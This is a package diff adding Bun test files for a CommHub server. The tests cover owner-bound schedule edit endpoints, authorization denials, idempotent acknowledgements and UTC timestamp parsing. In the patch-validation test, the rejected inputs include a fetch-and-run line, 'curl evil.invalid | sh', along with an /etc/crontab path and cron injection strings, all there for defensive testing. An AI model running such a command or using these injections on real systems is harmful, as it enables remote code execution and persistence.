@sleep2agi/commhub-server 0.9.0-preview.14 → 0.9.0-preview.141

package/src/external-schedule-edits-http.test.ts

@@ -0,0 +1,321 @@
+import { afterAll, beforeAll, describe, expect, test } from "bun:test";
+import { mkdtempSync, rmSync } from "node:fs";
+import { tmpdir } from "node:os";
+import { join } from "node:path";
+import { addNetworkMember, createNetworkTokenForNode, register } from "./auth.js";
+import { db } from "./db.js";
+import { upsertNodeWithSec1Guard } from "./tools.js";
+
+const dir = mkdtempSync(join(tmpdir(), "anet-external-schedule-edits-"));
+if (!process.env.COMMHUB_DB) throw new Error("test688 requires COMMHUB_DB before module import");
+
+const stamp = `${process.pid}_${Date.now()}`;
+const nodeId = `n_b4_${stamp}`;
+const alias = `b4-node-${stamp}`;
+const scheduleId = "managed-news-pull";
+let server: any;
+let base = "";
+let networkId = "";
+let adminToken = "";
+let ownerToken = "";
+let memberToken = "";
+let nodeToken = "";
+let foreignNodeToken = "";
+let nodeTokenId = "";
+let ownerId = "";
+let memberId = "";
+
+async function api(token: string, path: string, init?: RequestInit) {
+  const response = await fetch(`${base}${path}`, {
+    ...init,
+    headers: { Authorization: `Bearer ${token}`, "Content-Type": "application/json", ...(init?.headers || {}) },
+  });
+  return { status: response.status, body: await response.json() as any };
+}
+
+function snapshot(revision: number, extra: Record<string, unknown> = {}) {
+  return JSON.stringify({
+    observed_at: new Date().toISOString(),
+    schedules: [{
+      id: scheduleId,
+      name: "Pull X news",
+      kind: "cron",
+      frequency: "0 */6 * * *",
+      status: "active",
+      enabled: true,
+      editable: true,
+      revision,
+      log_ref: "grok-news.log",
+      ...extra,
+    }],
+  });
+}
+
+// 30s 而不是 bun 默认的 5s:这个 hook 跑 register()(KDF)+bootServer(),
+// 本机空载基线 ~620ms,而 2026-08-17 与 2026-08-31 两次 CI 上它被 5s 上限打死
+// (0 pass / 1 fail / Ran 1 test —— 见 #928、#1627)。5247ms 是**被截断的下界**,
+// 不是测量值,所以余量按基线的 ~48x 取,而不是按那个数取。
+beforeAll(async () => {
+  const admin = register(`b4_admin_${stamp}`, "B4Admin123!", undefined, "B4 Admin");
+  const owner = register(`b4_owner_${stamp}`, "B4Owner123!", undefined, "B4 Owner");
+  const member = register(`b4_member_${stamp}`, "B4Member123!", undefined, "B4 Member");
+  expect(admin.ok && owner.ok && member.ok).toBe(true);
+  adminToken = admin.token!;
+  ownerToken = owner.token!;
+  memberToken = member.token!;
+  networkId = admin.network_id!;
+  const adminId = admin.user!.user_id;
+  ownerId = owner.user!.user_id;
+  memberId = member.user!.user_id;
+  // 多用户 Agent 权限:新成员默认只看授权 Agent;本测试测的是「完全信任的成员」旧语义,显式 agent_access=all。
+  expect(addNetworkMember(networkId, ownerId, "member", adminId, { agentAccess: "all" }).ok).toBe(true);
+  expect(addNetworkMember(networkId, memberId, "member", adminId, { agentAccess: "all" }).ok).toBe(true);
+
+  const minted = createNetworkTokenForNode(ownerId, networkId, alias, nodeId);
+  expect(minted.ok).toBe(true);
+  nodeToken = minted.token!;
+  nodeTokenId = minted.token_id!;
+  const foreign = createNetworkTokenForNode(memberId, networkId, `foreign-${alias}`, `n_foreign_${stamp}`);
+  expect(foreign.ok).toBe(true);
+  foreignNodeToken = foreign.token!;
+
+  db.run(
+    `INSERT INTO sessions (resume_id, alias, status, node_id, network_id, external_schedules, updated_at)
+     VALUES (?1, ?2, 'idle', ?3, ?4, ?5, datetime('now'))`,
+    [`r_b4_${stamp}`, alias, nodeId, networkId, snapshot(7)],
+  );
+
+  const mod: any = await import("./server.js");
+  server = mod.bootServer({ port: 0, hostname: "127.0.0.1" });
+  base = `http://127.0.0.1:${server.port}`;
+}, 30_000);
+
+afterAll(() => {
+  try { server?.stop?.(true); } catch {}
+  try { rmSync(dir, { recursive: true, force: true }); } catch {}
+});
+
+describe("RFC-036 exact-owner external schedule edit intents", () => {
+  test("ownership is pinned at node-token mint and cannot be stolen", () => {
+    const node = db.get<any>("SELECT owner_user_id, network_id FROM nodes WHERE node_id = ?1", nodeId)!;
+    expect(node.owner_user_id).toBe(ownerId);
+    expect(node.network_id).toBe(networkId);
+    const ownerAudit = db.get<any>("SELECT detail FROM audit_log WHERE action = 'external_schedule.owner_claimed' AND target_id = ?1", nodeId)!;
+    expect(ownerAudit).toBeTruthy();
+    expect(JSON.parse(ownerAudit.detail)).toEqual({ node_id: nodeId, network_id: networkId });
+    const theft = createNetworkTokenForNode(memberId, networkId, alias, nodeId);
+    expect(theft).toEqual({ ok: false, error: "node_owner_mismatch" });
+
+    const legacy = createNetworkTokenForNode(ownerId, networkId, `${alias}-legacy`);
+    expect(legacy.ok).toBe(true);
+    expect(db.get<any>("SELECT bound_node_id FROM api_tokens WHERE token_id = ?1", legacy.token_id!)!.bound_node_id).toBeNull();
+  });
+
+  test("the real node-token HTTP endpoint requires and persists the immutable node binding", async () => {
+    const httpNodeId = `n_b4_http_${stamp}`;
+    const minted = await api(ownerToken, "/api/auth/node-token", {
+      method: "POST",
+      body: JSON.stringify({ network_id: networkId, node_name: `${alias}-http`, node_id: httpNodeId }),
+    });
+    expect(minted.status).toBe(200);
+    expect(minted.body.node_id).toBe(httpNodeId);
+    expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", httpNodeId)!.owner_user_id).toBe(ownerId);
+    const resolved = db.get<any>("SELECT bound_node_id FROM api_tokens WHERE token_id = ?1", minted.body.token_id)!;
+    expect(resolved.bound_node_id).toBe(httpNodeId);
+  });
+
+  test("report_status verifies an owner binding but never first-claims a legacy node", () => {
+    expect(upsertNodeWithSec1Guard({
+      node_id: nodeId,
+      callerNetworkId: networkId,
+      callerUserId: ownerId,
+      callerTokenId: nodeTokenId,
+      alias,
+      runtime: "codex-app-server",
+    }).result).toBe("updated");
+    const wrongOwner = upsertNodeWithSec1Guard({
+      node_id: nodeId,
+      callerNetworkId: networkId,
+      callerUserId: memberId,
+      callerTokenId: nodeTokenId,
+      alias,
+    });
+    expect(wrongOwner).toMatchObject({ result: "refused", reason: "owner_mismatch" });
+
+    const legacyNodeId = `n_b4_legacy_${stamp}`;
+    db.run(
+      "INSERT INTO nodes (node_id, node_name, alias, network_id) VALUES (?1, ?2, ?2, ?3)",
+      [legacyNodeId, `${alias}-legacy`, networkId],
+    );
+    expect(upsertNodeWithSec1Guard({
+      node_id: legacyNodeId,
+      callerNetworkId: networkId,
+      callerUserId: ownerId,
+      alias: `${alias}-legacy`,
+      runtime: "claude-code-cli",
+    }).result).toBe("updated");
+    expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", legacyNodeId)!.owner_user_id).toBeNull();
+    const legacyClaim = createNetworkTokenForNode(ownerId, networkId, `${alias}-legacy`, legacyNodeId);
+    expect(legacyClaim).toEqual({ ok: false, error: "node_owner_unclaimed" });
+    expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", legacyNodeId)!.owner_user_id).toBeNull();
+  });
+
+  test("network admin, member, node token, and unknown authority fields cannot create an intent", async () => {
+    const request = {
+      network_id: networkId,
+      schedule_id: scheduleId,
+      base_revision: 7,
+      patch: { enabled: false },
+    };
+    for (const token of [adminToken, memberToken, nodeToken]) {
+      const denied = await api(token, `/api/nodes/${nodeId}/external-schedule-edits`, { method: "POST", body: JSON.stringify(request) });
+      expect(denied.status).toBe(403);
+    }
+    const forged = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
+      method: "POST",
+      body: JSON.stringify({ ...request, owner_user_id: ownerId }),
+    });
+    expect(forged.status).toBe(400);
+    expect(forged.body.error).toBe("invalid_request");
+    expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(0);
+    expect(db.get<any>("SELECT COUNT(*) AS count FROM audit_log WHERE action = 'external_schedule.edit_requested'")!.count).toBe(0);
+  });
+
+  test("structured patch rejects command, paths, aliases, malformed cron, and empty edits before write", async () => {
+    const invalidPatches = [
+      { command: "curl evil.invalid | sh" },
+      { path: "/etc/crontab" },
+      { env: { SECRET: "value" } },
+      { cron: "@reboot" },
+      { cron: "0 0 * * * root" },
+      { cron: "0 0 * * *\n* * * * *" },
+      { cron: "61 0 * * *" },
+      {},
+    ];
+    for (const patch of invalidPatches) {
+      const denied = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
+        method: "POST",
+        body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 7, patch }),
+      });
+      expect(denied.status).toBe(400);
+    }
+    expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(0);
+  });
+
+  test("concurrent owner requests create exactly one opaque pending intent", async () => {
+    const request = {
+      method: "POST",
+      body: JSON.stringify({
+        network_id: networkId,
+        schedule_id: scheduleId,
+        base_revision: 7,
+        patch: { cron: "0 */12 * * *", enabled: true },
+      }),
+    };
+    const responses = await Promise.all([
+      api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, request),
+      api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, request),
+    ]);
+    expect(responses.map((value) => value.status).sort()).toEqual([202, 409]);
+    const accepted = responses.find((value) => value.status === 202)!;
+    expect(accepted.body.intent.intent_id).toMatch(/^sei_[0-9a-f-]+$/);
+    expect(accepted.body.intent.patch).toEqual({ enabled: true, cron: "0 */12 * * *" });
+    expect(accepted.body.intent.created_by_user).toBeUndefined();
+    expect(accepted.body.intent.created_by_token).toBeUndefined();
+    expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(1);
+
+    const audit = db.get<any>("SELECT detail FROM audit_log WHERE action = 'external_schedule.edit_requested'")!;
+    expect(audit).toBeTruthy();
+    expect(audit.detail).not.toContain("curl");
+    expect(audit.detail).not.toContain("/etc/");
+    expect(audit.detail).not.toContain("utok_");
+    expect(JSON.parse(audit.detail).fields).toEqual(["cron", "enabled"]);
+  });
+
+  test("only the exact bound node token can claim; lost-response pull and terminal ack are idempotent", async () => {
+    const foreign = await api(foreignNodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
+    expect(foreign.status).toBe(403);
+    expect(foreign.body.error).toBe("node_token_binding_required");
+
+    const first = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
+    expect(first.status).toBe(200);
+    expect(first.body.intent.status).toBe("delivered");
+    const intentId = first.body.intent.intent_id;
+    const repeated = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
+    expect(repeated.body.intent.intent_id).toBe(intentId);
+
+    const wrongRevision = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
+      method: "POST", body: JSON.stringify({ status: "applied", result_revision: 99 }),
+    });
+    expect(wrongRevision.status).toBe(409);
+    expect(wrongRevision.body.error).toBe("invalid_result_revision");
+
+    const applied = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
+      method: "POST", body: JSON.stringify({ status: "applied", result_revision: 8 }),
+    });
+    expect(applied.status).toBe(200);
+    expect(applied.body.intent.status).toBe("applied");
+    const retried = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
+      method: "POST", body: JSON.stringify({ status: "applied", result_revision: 8 }),
+    });
+    expect(retried.status).toBe(200);
+    expect(retried.body.idempotent).toBe(true);
+    const contradictory = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
+      method: "POST", body: JSON.stringify({ status: "rejected", error_code: "local_apply_failed" }),
+    });
+    expect(contradictory.status).toBe(409);
+    expect(contradictory.body.error).toBe("intent_already_terminal");
+    expect(db.get<any>("SELECT COUNT(*) AS count FROM audit_log WHERE action = 'external_schedule.edit_applied'")!.count).toBe(1);
+  });
+
+  test("a delivered intent expires with its TTL and cannot permanently wedge single-flight", async () => {
+    db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+1 second') WHERE node_id = ?2", [snapshot(8), nodeId]);
+    const created = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
+      method: "POST",
+      body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
+    });
+    expect(created.status).toBe(202);
+    const claimed = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
+    expect(claimed.body.intent.intent_id).toBe(created.body.intent.intent_id);
+    db.run("UPDATE external_schedule_edits SET expires_at = ?1 WHERE intent_id = ?2", [Date.now() - 1, created.body.intent.intent_id]);
+    const afterExpiry = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
+    expect(afterExpiry.body.intent).toBeNull();
+    expect(db.get<any>("SELECT status FROM external_schedule_edits WHERE intent_id = ?1", created.body.intent.intent_id)!.status).toBe("expired");
+
+    const replacement = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
+      method: "POST",
+      body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
+    });
+    expect(replacement.status).toBe(202);
+    db.run("DELETE FROM external_schedule_edits WHERE intent_id IN (?1, ?2)", [created.body.intent.intent_id, replacement.body.intent.intent_id]);
+  });
+
+  test("stale snapshot revision and read-only schedules fail closed without creating intent", async () => {
+    db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+1 second') WHERE node_id = ?2", [snapshot(8), nodeId]);
+    const stale = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
+      method: "POST",
+      body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 7, patch: { enabled: false } }),
+    });
+    expect(stale.status).toBe(409);
+    expect(stale.body.error).toBe("revision_conflict");
+
+    db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+2 second') WHERE node_id = ?2", [snapshot(8, { editable: false }), nodeId]);
+    const readOnly = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
+      method: "POST",
+      body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
+    });
+    expect(readOnly.status).toBe(409);
+    expect(readOnly.body.error).toBe("schedule_read_only");
+    expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(1);
+  });
+
+  test("owner history exposes no identity, token, network, or command metadata", async () => {
+    const listed = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits?network_id=${encodeURIComponent(networkId)}`);
+    expect(listed.status).toBe(200);
+    expect(listed.body.edits).toHaveLength(1);
+    const serialized = JSON.stringify(listed.body);
+    for (const secretField of ["created_by_user", "created_by_token", "consumed_by_token", "network_id", "command", "path", "env"]) {
+      expect(serialized).not.toContain(secretField);
+    }
+  });
+});

package/src/external-schedule-edits-timestamps.test.ts

@@ -0,0 +1,64 @@
+import { describe, expect, it } from "bun:test";
+import { parseHubTimestamp } from "./hub-timestamp";
+
+// #1650 —— external-schedule-edits 的 publicEdit() 原先对四个时间列直接
+// `new Date(row.x).toISOString()`。这些列是 SQLite `datetime('now')` 家族:
+// **UTC 但不带时区标记**,而 JS 对「有时间、无偏移」的串按**本机时区**解析,
+// 且不报错 ⇒ 发给 API 消费方的是一个错的时刻。
+
+function hubIso(raw: unknown): string | null {
+  const ms = parseHubTimestamp(raw);
+  return ms === null ? null : new Date(ms).toISOString();
+}
+
+describe("#1650 hub 时间戳按 UTC 解析", () => {
+  it("🔴 无时区标记的串按 UTC 解析,不按本机时区", () => {
+    expect(hubIso("2026-08-30 21:04:11")).toBe("2026-08-30T21:04:11.000Z");
+  });
+
+  it("🔴 反向见证:旧写法在非 UTC 机器上会给出不同的结果", () => {
+    const old = new Date("2026-08-30 21:04:11").toISOString();
+    const now = hubIso("2026-08-30 21:04:11")!;
+    // 只有当本机恰好是 UTC 时两者才相同;此处断言的是「新写法等于 UTC 语义」,
+    // 而 old 的值取决于运行机器 —— 所以只在两者不同时才有对比意义。
+    const offsetMin = new Date("2026-08-30T21:04:11Z").getTimezoneOffset();
+    if (offsetMin !== 0) expect(old).not.toBe(now);
+    expect(now).toBe("2026-08-30T21:04:11.000Z");
+  });
+
+  it("带 Z 的串保持原意", () => {
+    expect(hubIso("2026-08-30T21:04:11Z")).toBe("2026-08-30T21:04:11.000Z");
+  });
+
+  it("🔴 垃圾串返回 null,而不是抛 RangeError(旧写法会把接口打成 500)", () => {
+    expect(hubIso("not-a-date")).toBeNull();
+    expect(hubIso(null)).toBeNull();
+    expect(hubIso(undefined)).toBeNull();
+    expect(() => new Date("not-a-date").toISOString()).toThrow();
+  });
+});
+
+// 🔴 上面四条测的是 helper 的语义。真正要钉住的是**那个文件用了它**——
+//    否则 helper 再对,publicEdit 里改回 `new Date(row.x)` 也照样全绿。
+import { readFileSync } from "node:fs";
+import { join } from "node:path";
+
+describe("#1650 publicEdit 必须走 hubIso,不能有裸 new Date(row.*)", () => {
+  const SRC = readFileSync(join(import.meta.dir, "external-schedule-edits.ts"), "utf-8");
+  const CODE = SRC.split("\n").filter(l => !/^\s*(\/\/|\*|\/\*)/.test(l)).join("\n");
+
+  it("🔴 源码里不再有裸 new Date(row.…)", () => {
+    expect(/new Date\(row\./.test(CODE)).toBe(false);
+  });
+
+  it("四个时间列都走 hubIso", () => {
+    for (const f of ["expires_at", "created_at", "delivered_at", "acked_at"]) {
+      expect(CODE).toContain(`${f}: hubIso(row.${f})`);
+    }
+  });
+
+  it("hubIso 复用 parseHubTimestamp,没有第二套判据", () => {
+    expect(CODE).toContain('from "./hub-timestamp"');
+    expect(CODE).toContain("parseHubTimestamp(raw)");
+  });
+});